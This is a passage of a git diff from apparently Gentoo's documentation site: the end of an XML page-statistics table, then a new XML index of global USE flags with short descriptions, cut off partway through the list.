+<tr><ti>298.</ti><ti><uri link='/doc/en/articles/partitioning-p2.xml'>/doc/**/articles/partitioning-p2.xml</uri></ti><ti align='right'>2,955</ti><ti align='right'>1,393</ti><ti align='right'>983</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>246</ti><ti align='right'></ti><ti align='right'>333</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>299.</ti><ti><uri link='/doc/en/man-guide.xml'>/doc/**/man-guide.xml</uri></ti><ti align='right'>2,924</ti><ti align='right'>1,748</ti><ti align='right'>367</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>238</ti><ti align='right'></ti><ti align='right'>286</ti><ti align='right'>157</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>43</ti><ti align='right'>85</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>300.</ti><ti><uri link='/proj/en/base/embedded/gnap.xml'>/proj/**/base/embedded/gnap.xml</uri></ti><ti align='right'>2,916</ti><ti align='right'>2,916</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti/><ti>1,795 unlisted documents</ti><ti align='right'>809,134</ti><ti align='right'>526,258</ti><ti align='right'>27,414</ti><ti align='right'>36,579</ti><ti align='right'>39,627</ti><ti align='right'>22,417</ti><ti align='right'>40,645</ti><ti align='right'>32,619</ti><ti align='right'>24,298</ti><ti align='right'>8,313</ti><ti align='right'>10,594</ti><ti align='right'>1,768</ti><ti align='right'>363</ti><ti align='right'>3,229</ti><ti align='right'>5,809</ti><ti align='right'>1,745</ti><ti align='right'>11,019</ti><ti align='right'>225</ti><ti align='right'>712</ti><ti align='right'>2,458</ti><ti align='right'>2,914</ti><ti align='right'>5,033</ti><ti align='right'>2,537</ti><ti align='right'>2,055</ti><ti align='right'>358</ti><ti align='right'>0</ti><ti align='right'>17</ti><ti align='right'>34</ti><ti align='right'>89</ti><ti align='right'>5</ti><ti align='right'>0</ti></tr>
+<tr><th colspan='2'><b>T O T A L</b></th><th>9,564,285</th><th>6,187,148</th><th>497,283</th><th>465,758</th><th>425,554</th><th>368,005</th><th>353,660</th><th>316,764</th><th>254,374</th><th>144,086</th><th>102,339</th><th>85,660</th><th>70,945</th><th>70,363</th><th>62,967</th><th>43,853</th><th>39,397</th><th>28,004</th><th>13,046</th><th>8,664</th><th>6,746</th><th>5,973</th><th>3,239</th><th>3,012</th><th>2,631</th><th>2,147</th><th>1,676</th><th>789</th><th>184</th><th>12</th><th>6</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/tests/use-index.xml b/xml/htdocs/proj/en/gdp/tests/use-index.xml
new file mode 100644
index 00000000..6f160bb2
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/tests/use-index.xml
@@ -0,0 +1,3159 @@
+<?xml version='1.0' encoding='UTF-8' standalone='yes'?> 
+<?xml-stylesheet href="/xsl/useflags.xsl" type='text/xsl'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type='text/xsl'?>
+<!DOCTYPE useflags [
+<!ELEMENT useflags (date, global, local)>
+<!ELEMENT date (#PCDATA)>
+<!ELEMENT global (flag+)>
+<!ELEMENT local (category+)>
+<!ELEMENT category (package+)>
+<!ELEMENT package (flag+)>
+<!ELEMENT flag (#PCDATA)>
+<!ATTLIST flag name CDATA #REQUIRED>
+<!ATTLIST package name CDATA #REQUIRED>
+<!ATTLIST category name CDATA #REQUIRED>
+]>
+<useflags>
+<date>2005-11-16</date>
+<global>
+<flag name="3dfx"><![CDATA[Adds support for 3dfx video cards to XFree86. See: voodoo3]]></flag>
+<flag name="3dnow"><![CDATA[Adds support for 3dnow multimedia processor instructions]]></flag>
+<flag name="X"><![CDATA[Adds support for X11]]></flag>
+<flag name="Xaw3d"><![CDATA[Adds support of the 3d athena widget set]]></flag>
+<flag name="a52"><![CDATA[Enables support for decoding ATSC A/52 streams used in DVD]]></flag>
+<flag name="aac"><![CDATA[Enables support for MPEG-4 AAC Audio]]></flag>
+<flag name="aalib"><![CDATA[Adds support for media-libs/aalib (ASCII-Graphics Library)]]></flag>
+<flag name="accessibility"><![CDATA[Adds support for accessibility (eg 'at-spi' library)]]></flag>
+<flag name="acl"><![CDATA[Adds support for Access Control Lists]]></flag>
+<flag name="acpi"><![CDATA[Adds support for Advanced Configuration and Power Interface]]></flag>
+<flag name="adabas"><![CDATA[Adds support for the Adabas database engine]]></flag>
+<flag name="adns"><![CDATA[Adds support for the adns DNS client library]]></flag>
+<flag name="afs"><![CDATA[Adds OpenAFS support (distributed file system)]]></flag>
+<flag name="aim"><![CDATA[Enable AIM IM protocol support]]></flag>
+<flag name="alsa"><![CDATA[Adds support for media-libs/alsa-lib (Advanced Linux Sound Architecture)]]></flag>
+<flag name="altivec"><![CDATA[Adds support for optimizations for G4 and G5/ppc970 processors]]></flag>
+<flag name="apache"><![CDATA[Chooses Apache1 support when a package optionally supports Apache1]]></flag>
+<flag name="apache2"><![CDATA[Chooses Apache2 support when a package supports both Apache1 and Apache2]]></flag>
+<flag name="apm"><![CDATA[Adds APM (Advanced Power Management) support]]></flag>
+<flag name="arts"><![CDATA[Adds support for aRts: the KDE sound daemon]]></flag>
+<flag name="audiofile"><![CDATA[Adds support for libaudiofile where applicable]]></flag>
+<flag name="avi"><![CDATA[Adds avifile (Library for avi) support]]></flag>
+<flag name="bash-completion"><![CDATA[Enable bash-completion support]]></flag>
+<flag name="bcmath"><![CDATA[Adds support for libbcmath]]></flag>
+<flag name="berkdb"><![CDATA[Adds support for sys-libs/db (Berkeley DB for MySQL)]]></flag>
+<flag name="bidi"><![CDATA[Enables bidirectional language support]]></flag>
+<flag name="bindist"><![CDATA[Flag to enable or disable options for prebuilt (GRP)  packages (eg. due to licensing issues)]]></flag>
+<flag name="birdstep"><![CDATA[Adds support for the Birdstep Database Server]]></flag>
+<flag name="blas"><![CDATA[adds support for the virtual/blas numerical library]]></flag>
+<flag name="bluetooth"><![CDATA[Enable Bluetooth Support]]></flag>
+<flag name="bmp"><![CDATA[Adds beep media player support. Mainly used to support bmp plugins in xmms, though also used for generic BMP support.]]></flag>
+<flag name="bonobo"><![CDATA[Adds support for gnome-base/bonobo (Gnome CORBA interfaces)]]></flag>
+<flag name="bootstrap"><![CDATA[!!internal use only!! DO NOT SET THIS FLAG YOURSELF!, used during original system bootstrapping]]></flag>
+<flag name="boundschecking"><![CDATA[add bounds checking patch by Haj Ten Brugge, this will DISABLE the hardened PIE+SSP patches]]></flag>
+<flag name="build"><![CDATA[!!internal use only!! DO NOT SET THIS FLAG YOURSELF!, used for creating build images and the first half of bootstrapping.]]></flag>
+<flag name="bzip2"><![CDATA[Use the bzlib compression library]]></flag>
+<flag name="calendar"><![CDATA[Adds support for calendars (not using mcal!)]]></flag>
+<flag name="canna"><![CDATA[Adds support for the Canna kana to kanji conversion engine]]></flag>
+<flag name="caps"><![CDATA[Use Linux capabilities library to control privileges.]]></flag>
+<flag name="cdb"><![CDATA[Adds support for the CDB database engine from the author of qmail]]></flag>
+<flag name="cdinstall"><![CDATA[Copies files from the CD rather than asking the user to copy them, mostly used with games]]></flag>
+<flag name="cdparanoia"><![CDATA[Enables cdparanoia support]]></flag>
+<flag name="cdr"><![CDATA[Adds support for CD writer hardware]]></flag>
+<flag name="chasen"><![CDATA[Enable chasen support]]></flag>
+<flag name="cjk"><![CDATA[Adds support for Multi-byte character languages (Chinese, Japanese, Korean)]]></flag>
+<flag name="clamav"><![CDATA[Adds support for Clam AntiVirus software (usually with a plugin)]]></flag>
+<flag name="cpdflib"><![CDATA[Adds support for clibpdf]]></flag>
+<flag name="crypt"><![CDATA[Add support for encryption -- using mcrypt or gpg where applicable]]></flag>
+<flag name="cscope"><![CDATA[Enables cscope interface -- in vim for example]]></flag>
+<flag name="ctype"><![CDATA[Enables ctype functions ]]></flag>
+<flag name="cups"><![CDATA[Add support for CUPS (Common Unix Printing System)]]></flag>
+<flag name="curl"><![CDATA[Adds support for client-side URL transfer library]]></flag>
+<flag name="curlwrappers"><![CDATA[Adds support for using curl in streams]]></flag>
+<flag name="db2"><![CDATA[Enables support for IBM DB2 database server]]></flag>
+<flag name="dba"><![CDATA[Enables dbm-compatible layers]]></flag>
+<flag name="dbase"><![CDATA[Adds support for dbase file format]]></flag>
+<flag name="dbm"><![CDATA[Adds support for generic DBM databases.]]></flag>
+<flag name="dbmaker"><![CDATA[Adds support for dbmaker database server]]></flag>
+<flag name="dbus"><![CDATA[Enable dbus support for anything that needs it (gpsd, gnomemeeting, etc)]]></flag>
+<flag name="dbx"><![CDATA[Adds database abstraction layer]]></flag>
+<flag name="debug"><![CDATA[Tells configure and the makefiles to build for debugging. Effects vary across packages, but generally it will at least add -g to CFLAGS. Remember to set FEATURES=nostrip too]]></flag>
+<flag name="dedicated"><![CDATA[Adds support for dedicated game servers (some packages do not provide clients and servers at the same time)]]></flag>
+<flag name="dga"><![CDATA[Adds DGA Support (Xfree86) (DGA=Direct Graphic Access)]]></flag>
+<flag name="dio"><![CDATA[Adds direct i/o support]]></flag>
+<flag name="directfb"><![CDATA[Adds support for DirectFB layer (library for FB devices)]]></flag>
+<flag name="doc"><![CDATA[Adds extra documentation (API, Javadoc, etc)]]></flag>
+<flag name="dri"><![CDATA[Enable direct rendering: used for accelerated 3D and some 2D, like DMA]]></flag>
+<flag name="dts"><![CDATA[Enables libdts (DTS Coherent Acoustics decoder) support]]></flag>
+<flag name="dv"><![CDATA[Enables support for a codec used by many camcorders]]></flag>
+<flag name="dvb"><![CDATA[Adds support for DVB (Digital Video Broadcasting)]]></flag>
+<flag name="dvd"><![CDATA[Adds support for DVDs]]></flag>
+<flag name="dvdr"><![CDATA[Adds support for DVD writer hardware (e.g. in xcdroast)]]></flag>
+<flag name="dvdread"><![CDATA[Enables usage of Ogle's libdvdread for DVD playback]]></flag>
+<flag name="eds"><![CDATA[Enables support for Evolution-Data-Server(eds)]]></flag>
+<flag name="emacs"><![CDATA[Adds support for GNU Emacs]]></flag>
+<flag name="emacs-w3"><![CDATA[Add support for Emacs/W3 where applicable]]></flag>
+<flag name="emboss"><![CDATA[Adds support for the European Molecular Biology Open Software Suite]]></flag>
+<flag name="empress"><![CDATA[Adds support for the Empress database server]]></flag>
+<flag name="empress-bcs"><![CDATA[Adds local access support for the Empress database server]]></flag>
+<flag name="emul-linux-x86"><![CDATA[Pull in binary support libraries for x86 applications]]></flag>
+<flag name="encode"><![CDATA[Adds support for encoding of audio or video files]]></flag>
+<flag name="esd"><![CDATA[Adds support for media-sound/esound (Enlightened Sound Daemon)]]></flag>
+<flag name="esoob"><![CDATA[Adds support for Easysoft OOD database]]></flag>
+<flag name="ethereal"><![CDATA[Adds support for ethereal wiretap log support in kismet]]></flag>
+<flag name="ev6"><![CDATA[Assume Alpha processor is EV6 or better]]></flag>
+<flag name="evo"><![CDATA[Adds support for evolution in gnumeric and multisync]]></flag>
+<flag name="examples"><![CDATA[Install example source code]]></flag>
+<flag name="exif"><![CDATA[Adds support for reading EXIF headers from JPEG and TIFF images]]></flag>
+<flag name="expat"><![CDATA[Enable the use of dev-libs/expat]]></flag>
+<flag name="fam"><![CDATA[Enable FAM support]]></flag>
+<flag name="fastcgi"><![CDATA[Add support for the FastCGI interface]]></flag>
+<flag name="fbcon"><![CDATA[Adds framebuffer support for the console, via the kernel]]></flag>
+<flag name="fdftk"><![CDATA[Add supports for Adobe's FDF toolkit.]]></flag>
+<flag name="ffmpeg"><![CDATA[Enable ffmpeg support]]></flag>
+<flag name="fftw"><![CDATA[Use FFTW library for computing Fourier transforms]]></flag>
+<flag name="filepro"><![CDATA[Adds support for filePro databases]]></flag>
+<flag name="firebird"><![CDATA[Adds support for the Firebird relational database]]></flag>
+<flag name="flac"><![CDATA[Adds support for the flac audio codec]]></flag>
+<flag name="flash"><![CDATA[Adds support for creating flash files using Ming]]></flag>
+<flag name="flatfile"><![CDATA[Adds dbm support for flat files]]></flag>
+<flag name="foomaticdb"><![CDATA[Adds support for the foomatic printing driver database]]></flag>
+<flag name="fortran"><![CDATA[Adds support for fortran (formally f77)]]></flag>
+<flag name="freetds"><![CDATA[Adds support for the TDS protocol to connect to MSSQL/Sybase databases]]></flag>
+<flag name="freewnn"><![CDATA[Adds support for FreeWnn kana to kanji conversion engine]]></flag>
+<flag name="frontbase"><![CDATA[Adds support for the frontbase sql server]]></flag>
+<flag name="ftp"><![CDATA[Adds FTP support]]></flag>
+<flag name="gb"><![CDATA[Adds support for Gnome Basic to gnumeric]]></flag>
+<flag name="gcj"><![CDATA[Enable building with gcj]]></flag>
+<flag name="gd"><![CDATA[Adds support for media-libs/gd (to generate graphics on the fly)]]></flag>
+<flag name="gd-external"><![CDATA[Use the external version of gd rather than the bundled one (possibly dangerous)]]></flag>
+<flag name="gdbm"><![CDATA[Adds support for sys-libs/gdbm (GNU database libraries)]]></flag>
+<flag name="geoip"><![CDATA[Add geoip support]]></flag>
+<flag name="ggi"><![CDATA[Adds support for media-libs/libggi (non-X video api/drivers)]]></flag>
+<flag name="gif"><![CDATA[Adds GIF image support]]></flag>
+<flag name="ginac"><![CDATA[Adds sci-mathematics/ginac (symbolic math) support]]></flag>
+<flag name="glut"><![CDATA[Build an OpenGL plugin using the GLUT library]]></flag>
+<flag name="gmp"><![CDATA[Adds support for dev-libs/gmp (GNU MP library)]]></flag>
+<flag name="gnome"><![CDATA[Adds GNOME support]]></flag>
+<flag name="gnustep"><![CDATA[Adds integration with GNUstep environment]]></flag>
+<flag name="gnutls"><![CDATA[Adds support for net-libs/gnutls]]></flag>
+<flag name="gphoto2"><![CDATA[Adds digital camera support]]></flag>
+<flag name="gpm"><![CDATA[Adds support for sys-libs/gpm (Console-based mouse driver)]]></flag>
+<flag name="gps"><![CDATA[Adds support for Global Positioning System]]></flag>
+<flag name="gstreamer"><![CDATA[Adds support for media-libs/gstreamer (Streaming media)]]></flag>
+<flag name="gtk"><![CDATA[Adds support for x11-libs/gtk+ (The GIMP Toolkit)]]></flag>
+<flag name="gtk2"><![CDATA[Use gtk+-2.0.0 over gtk+-1.2 in cases where a program supports both.]]></flag>
+<flag name="gtkhtml"><![CDATA[Adds support for gnome-extra/gtkhtml]]></flag>
+<flag name="guile"><![CDATA[Adds support for dev-util/guile (interpreter for Scheme)]]></flag>
+<flag name="hal"><![CDATA[Enable Hardware Abstraction Layer (HAL) support]]></flag>
+<flag name="hardened"><![CDATA[activate default security enhancements for toolchain (gcc, glibc, binutils)]]></flag>
+<flag name="hardenedphp"><![CDATA[include the hardened php security patch for the php group of ebuilds]]></flag>
+<flag name="howl"><![CDATA[Enable howl support, enables DNS Service Discovery (DNS-SD)]]></flag>
+<flag name="hyperwave-api"><![CDATA[Adds support for Hyperwave document storage system]]></flag>
+<flag name="ibm"><![CDATA[Add support for IBM ppc64 specific systems]]></flag>
+<flag name="icc"><![CDATA[Add support for the Intel C++ Compiler (does _not_ set $CC)]]></flag>
+<flag name="iconv"><![CDATA[Enable support for the iconv character set conversion library]]></flag>
+<flag name="icq"><![CDATA[Enable ICQ IM protocol support]]></flag>
+<flag name="idn"><![CDATA[Enable support for Internationalized Domain Names]]></flag>
+<flag name="ieee1394"><![CDATA[Enable FireWire/iLink IEEE1394 support (dv, camera, ...)]]></flag>
+<flag name="ifc"><![CDATA[use ifc instead of g77 to build]]></flag>
+<flag name="imagemagick"><![CDATA[Enables support for Imagemagick (image converter)]]></flag>
+<flag name="imap"><![CDATA[Adds support for IMAP]]></flag>
+<flag name="imlib"><![CDATA[Adds support for imlib, an image loading and rendering library]]></flag>
+<flag name="informix"><![CDATA[Adds support for Informix database]]></flag>
+<flag name="ingres"><![CDATA[Adds support for Ingres database]]></flag>
+<flag name="inifile"><![CDATA[Adds dbm support for .ini files]]></flag>
+<flag name="innodb"><![CDATA[Adds innodb support for mySQL (transaction support)]]></flag>
+<flag name="interbase"><![CDATA[Adds support for Interbase database]]></flag>
+<flag name="iodbc"><![CDATA[Adds support for iODBC library]]></flag>
+<flag name="ipv6"><![CDATA[Adds support for IP version 6]]></flag>
+<flag name="jabber"><![CDATA[Enable jabber IM protocol support]]></flag>
+<flag name="jack"><![CDATA[Adds support for the JACK Audio Connection Kit]]></flag>
+<flag name="java"><![CDATA[Adds support for Java]]></flag>
+<flag name="javascript"><![CDATA[enable javascript support]]></flag>
+<flag name="jikes"><![CDATA[Compile Java source code with jikes (faster)]]></flag>
+<flag name="joystick"><![CDATA[Add support for joysticks in all packages]]></flag>
+<flag name="jpeg"><![CDATA[Adds JPEG image support]]></flag>
+<flag name="junit"><![CDATA[Adds junit awareness -- useful for developers.]]></flag>
+<flag name="kde"><![CDATA[Adds support for kde-base/kde (K Desktop Enviroment)]]></flag>
+<flag name="kdeenablefinal"><![CDATA[Makes kde ebuilds use the enable-final flag, yielding big compilation speedups at the cost of very heavy mem usage]]></flag>
+<flag name="kdexdeltas"><![CDATA[Makes kde ebuilds download binary diffs rather than entire new tarballs for every new release]]></flag>
+<flag name="kerberos"><![CDATA[Adds kerberos support]]></flag>
+<flag name="krb4"><![CDATA[Adds optional kerberos 4 compatibility support]]></flag>
+<flag name="ladcca"><![CDATA[Adds Linux Audio Developer's Configuration and Connection API support (LADCCA)]]></flag>
+<flag name="lapack"><![CDATA[adds support for the virtual/lapack numerical library]]></flag>
+<flag name="lcms"><![CDATA[Adds lcms support (color management engine)]]></flag>
+<flag name="ldap"><![CDATA[Adds LDAP support (Lightweight Directory Access Protocol)]]></flag>
+<flag name="leim"><![CDATA[Adds input methods support to Emacs]]></flag>
+<flag name="lesstif"><![CDATA[Use lesstif over openmotif in cases where a program supports both]]></flag>
+<flag name="libcaca"><![CDATA[Add support for colored ASCII-art graphics]]></flag>
+<flag name="libedit"><![CDATA[Use the libedit library (replacement for readline)]]></flag>
+<flag name="libg++"><![CDATA[Adds C++ modules in dev-db/postgresql (libpq++)]]></flag>
+<flag name="libgda"><![CDATA[Adds GNU Data Access (CORBA wrapper) support for gnumeric]]></flag>
+<flag name="libwww"><![CDATA[Adds libwww support (General purpose WEB API)]]></flag>
+<flag name="lirc"><![CDATA[Adds support for lirc (Linux's Infra-Red Remote Control)]]></flag>
+<flag name="livecd"><![CDATA[!!internal use only!! DO NOT SET THIS FLAG YOURSELF!, used during livecd building.]]></flag>
+<flag name="lm_sensors"><![CDATA[Adds linux lm_sensors (hardware sensors) support]]></flag>
+<flag name="lua"><![CDATA[Enable Lua scripting support]]></flag>
+<flag name="m17n-lib"><![CDATA[Enable m17n-lib support]]></flag>
+<flag name="mad"><![CDATA[Adds support for mad (high-quality mp3 decoder library and cli frontend)]]></flag>
+<flag name="maildir"><![CDATA[Adds support for maildir (~/.maildir) style mail spools]]></flag>
+<flag name="mailwrapper"><![CDATA[Adds mailwrapper support to allow multiple MTAs to be installed]]></flag>
+<flag name="matroska"><![CDATA[Adds support for the matroska container format]]></flag>
+<flag name="matrox"><![CDATA[Adds Matrox MGA support to mplayer]]></flag>
+<flag name="mbox"><![CDATA[Adds support for mbox (/var/spool/mail) style mail spools]]></flag>
+<flag name="mcal"><![CDATA[Adds support for MCAL calendar system]]></flag>
+<flag name="mcve"><![CDATA[Support for the MCVE credit card payment system]]></flag>
+<flag name="memlimit"><![CDATA[Adds memory usage limiting in supporting programs]]></flag>
+<flag name="mhash"><![CDATA[Adds support for the mhash library]]></flag>
+<flag name="migemo"><![CDATA[enable migemo support for Japanese]]></flag>
+<flag name="mikmod"><![CDATA[Adds libmikmod support to allow playing of SoundTracker-style music files]]></flag>
+<flag name="milter"><![CDATA[Adds sendmail mail filter (milter) support]]></flag>
+<flag name="mime"><![CDATA[Adds MIME support]]></flag>
+<flag name="ming"><![CDATA[Adds support for ming library for creating flash format files]]></flag>
+<flag name="minimal"><![CDATA[Install a very minimal build (disables, for example, plugins, fonts, most drivers, non-critical features)]]></flag>
+<flag name="mmap"><![CDATA[Adds mmap support]]></flag>
+<flag name="mmx"><![CDATA[Adds support for optimizations for Pentium MMX and Athlon class processors]]></flag>
+<flag name="mng"><![CDATA[Adds support for libmng (MNG images)]]></flag>
+<flag name="mnogosearch"><![CDATA[Adds support for the mnoGoSearch search engine]]></flag>
+<flag name="mono"><![CDATA[Build Mono bindings to support dotnet type stuff]]></flag>
+<flag name="motif"><![CDATA[Adds motif support (x11-libs/openmotif x11-libs/lesstif)]]></flag>
+<flag name="mozilla"><![CDATA[Adds mozilla support]]></flag>
+<flag name="mp3"><![CDATA[Add support for reading mp3 files]]></flag>
+<flag name="mpeg"><![CDATA[Adds libmpeg3 support to various packages.]]></flag>
+<flag name="mpi"><![CDATA[Adds MPI (Message Passing Interface) layer to the apps that support it.]]></flag>
+<flag name="msession"><![CDATA[Adds support for msession daemon]]></flag>
+<flag name="msn"><![CDATA[Enable MSN Messenger IM protocol support]]></flag>
+<flag name="msql"><![CDATA[Adds support for the MSQL database server]]></flag>
+<flag name="mssql"><![CDATA[Adds support for Microsoft SQL Server database]]></flag>
+<flag name="mule"><![CDATA[Adds multi-language support to XEmacs]]></flag>
+<flag name="multilib"><![CDATA[On 64bit systems, if you want to be able to compile 32bit and 64bit binaries]]></flag>
+<flag name="mysql"><![CDATA[Adds mySQL support]]></flag>
+<flag name="mysqli"><![CDATA[Adds support for the improved mySQL libraries]]></flag>
+<flag name="nas"><![CDATA[Adds support for network audio sound]]></flag>
+<flag name="ncurses"><![CDATA[Adds ncurses support (console display library)]]></flag>
+<flag name="netboot"><![CDATA[Enables network booting]]></flag>
+<flag name="netcdf"><![CDATA[Enable NetCDF data format support]]></flag>
+<flag name="neXt"><![CDATA[Enable neXt toolkit]]></flag>
+<flag name="nhc98"><![CDATA[Use the nhc98 Haskell compiler instead of GHC if the package supports it]]></flag>
+<flag name="nis"><![CDATA[Support for NIS/YP services]]></flag>
+<flag name="nls"><![CDATA[Adds Native Language Support (using gettext - GNU locale utilities)]]></flag>
+<flag name="nocd"><![CDATA[Tells emerge to install all files required to run the application without a CD mounted]]></flag>
+<flag name="nocxx"><![CDATA[Disable support for C++ (DONT USE THIS UNLESS YOU KNOW WHAT YOU'RE DOING)]]></flag>
+<flag name="nptl"><![CDATA[Enable support for Native POSIX Threads Library, the new threading module (requires linux-2.6 or better usually)]]></flag>
+<flag name="nsplugin"><![CDATA[Builds plugins for Netscape compatible browsers]]></flag>
+<flag name="ocaml"><![CDATA[Adds support/bindings for the Ocaml language]]></flag>
+<flag name="oci8"><![CDATA[Adds Oracle 8 Support]]></flag>
+<flag name="odbc"><![CDATA[Adds ODBC Support (Open DataBase Connectivity)]]></flag>
+<flag name="offensive"><![CDATA[Enables potentially offensive items in packages]]></flag>
+<flag name="ofx"><![CDATA[Enable support for importing (and exporting) OFX (Open Financial eXchange) data files]]></flag>
+<flag name="ogg"><![CDATA[Adds support for the Ogg container format (commonly used by Vorbis, Theora and flac)]]></flag>
+<flag name="oggvorbis"><![CDATA[Adds support for the OggVorbis audio encoding - DEPRECATED useflag ]]></flag>
+<flag name="openal"><![CDATA[Adds support for the Open Audio Library]]></flag>
+<flag name="opengl"><![CDATA[Adds support for OpenGL]]></flag>
+<flag name="oracle7"><![CDATA[Adds support for Oracle 7]]></flag>
+<flag name="oracle"><![CDATA[Enable oracle support]]></flag>
+<flag name="osc"><![CDATA[Enables support for Open Sound Control]]></flag>
+<flag name="oscar"><![CDATA[Enable Oscar (AIM/ICQ) IM protocol support]]></flag>
+<flag name="oss"><![CDATA[Adds support for OSS (Open Sound System)]]></flag>
+<flag name="ovrimos"><![CDATA[Adds support for the Ovrimos Database engine]]></flag>
+<flag name="pam"><![CDATA[Adds support PAM (Pluggable Authentication Modules) - DANGEROUS to arbitrarily flip]]></flag>
+<flag name="pcmcia"><![CDATA[Adds support for PCMCIA slots/devices found on laptop computers]]></flag>
+<flag name="pcntl"><![CDATA[Adds support for process creation functions]]></flag>
+<flag name="pcre"><![CDATA[Adds support for Perl Compatible Regular Expressions]]></flag>
+<flag name="pda"><![CDATA[Adds support for portable devices.]]></flag>
+<flag name="pdflib"><![CDATA[Adds support for PDF (Portable Document Format)]]></flag>
+<flag name="perl"><![CDATA[Adds support/bindings for the Perl language.]]></flag>
+<flag name="pfpro"><![CDATA[Adds support for Verisign Payflow Pro]]></flag>
+<flag name="php"><![CDATA[Include support for php]]></flag>
+<flag name="pic"><![CDATA[Build Position Independent Code.  Do not utilize this flag unless you know what you're doing.]]></flag>
+<flag name="plotutils"><![CDATA[Adds plotutils support to gnuplot (library for 2-D vector graphics)]]></flag>
+<flag name="png"><![CDATA[Adds support for libpng (PNG images)]]></flag>
+<flag name="portaudio"><![CDATA[Adds support for the crossplatform portaudio audio API]]></flag>
+<flag name="posix"><![CDATA[Adds support for POSIX-compatible functions]]></flag>
+<flag name="postgres"><![CDATA[Adds support for the postgresql database]]></flag>
+<flag name="ppds"><![CDATA[Adds support for automatically generated ppd (printing driver) files]]></flag>
+<flag name="prelude"><![CDATA[Adds support/bindings for the Prelude Intrusion Detection System]]></flag>
+<flag name="profile"><![CDATA[Adds profile support to builds of packages (will likely vary from ebuild to ebuild in support)]]></flag>
+<flag name="python"><![CDATA[Adds support/bindings for the Python language]]></flag>
+<flag name="qdbm"><![CDATA[Adds support for the qdbm library]]></flag>
+<flag name="qt"><![CDATA[Adds support for the Qt library.]]></flag>
+<flag name="quicktime"><![CDATA[Adds support for OpenQuickTime]]></flag>
+<flag name="radius"><![CDATA[Adds support for RADIUS]]></flag>
+<flag name="readline"><![CDATA[enables support for libreadline, a GNU line-editing library that most everyone wants.]]></flag>
+<flag name="recode"><![CDATA[enables support for the GNU recode library]]></flag>
+<flag name="ruby"><![CDATA[Adds support/bindings for the Ruby language]]></flag>
+<flag name="samba"><![CDATA[Adds support for SAMBA]]></flag>
+<flag name="sapdb"><![CDATA[Adds support for SAP DB]]></flag>
+<flag name="sasl"><![CDATA[Adds support for the Simple Authentication and Security Layer]]></flag>
+<flag name="scanner"><![CDATA[Adds support for scanner hardware (e.g. build the sane frontend in kdegraphics)]]></flag>
+<flag name="sdl"><![CDATA[Adds support for Simple Direct Layer (media library)]]></flag>
+<flag name="selinux"><![CDATA[!!internal use only!! Security Enhanced Linux support, this must be set by the selinux profile or breakage will occur]]></flag>
+<flag name="session"><![CDATA[Adds persistent session support]]></flag>
+<flag name="sharedext"><![CDATA[Adds support for building shared extensions in php]]></flag>
+<flag name="sharedmem"><![CDATA[Adds support for shared memory use]]></flag>
+<flag name="shorten"><![CDATA[Adds support for the shorten audio compressor]]></flag>
+<flag name="simplexml"><![CDATA[support for simplexml]]></flag>
+<flag name="skey"><![CDATA[Enable S/Key (Single use password) authentication support]]></flag>
+<flag name="slang"><![CDATA[Adds support for the slang text display library (it's like ncurses, but different)]]></flag>
+<flag name="slp"><![CDATA[Adds Service Locator Protocol support to CUPS]]></flag>
+<flag name="smartcard"><![CDATA[Enables smartcard support]]></flag>
+<flag name="sndfile"><![CDATA[Adds support for libsndfile]]></flag>
+<flag name="snmp"><![CDATA[Adds support for the Simple Network Management Protocol if available]]></flag>
+<flag name="soap"><![CDATA[Adds support for SOAP]]></flag>
+<flag name="sockets"><![CDATA[Adds support for tcp/ip sockets]]></flag>
+<flag name="socks5"><![CDATA[Adds support for the socks5 proxy]]></flag>
+<flag name="solid"><![CDATA[Adds support for the Solid database engine]]></flag>
+<flag name="source"><![CDATA[Zip the sources and install them]]></flag>
+<flag name="sox"><![CDATA[Adds support for Sound eXchange (SoX)]]></flag>
+<flag name="speex"><![CDATA[Adds support for the speex audio codec]]></flag>
+<flag name="spell"><![CDATA[Adds dictionary support]]></flag>
+<flag name="spl"><![CDATA[Adds support for the Standard PHP Library]]></flag>
+<flag name="sqlite"><![CDATA[Adds support for sqlite - embedded sql database]]></flag>
+<flag name="sse"><![CDATA[fast floating point optimization for PentiumIII+ class chips]]></flag>
+<flag name="ssl"><![CDATA[Adds support for Secure Socket Layer connections]]></flag>
+<flag name="static"><![CDATA[!!do not set this during bootstrap!! Causes binaries to be statically linked instead of dynamically]]></flag>
+<flag name="svg"><![CDATA[Adds support for SVG (Scalable Vector Graphics http://www.w3.org/TR/SVG ).  This option is mainly intended for users that tend to browse multimedia sites frequently.]]></flag>
+<flag name="svga"><![CDATA[Adds support for SVGAlib (graphics library)]]></flag>
+<flag name="sybase"><![CDATA[Adds support for the Sybase SQL Database Server]]></flag>
+<flag name="sybase-ct"><![CDATA[Adds support for Sybase-CT]]></flag>
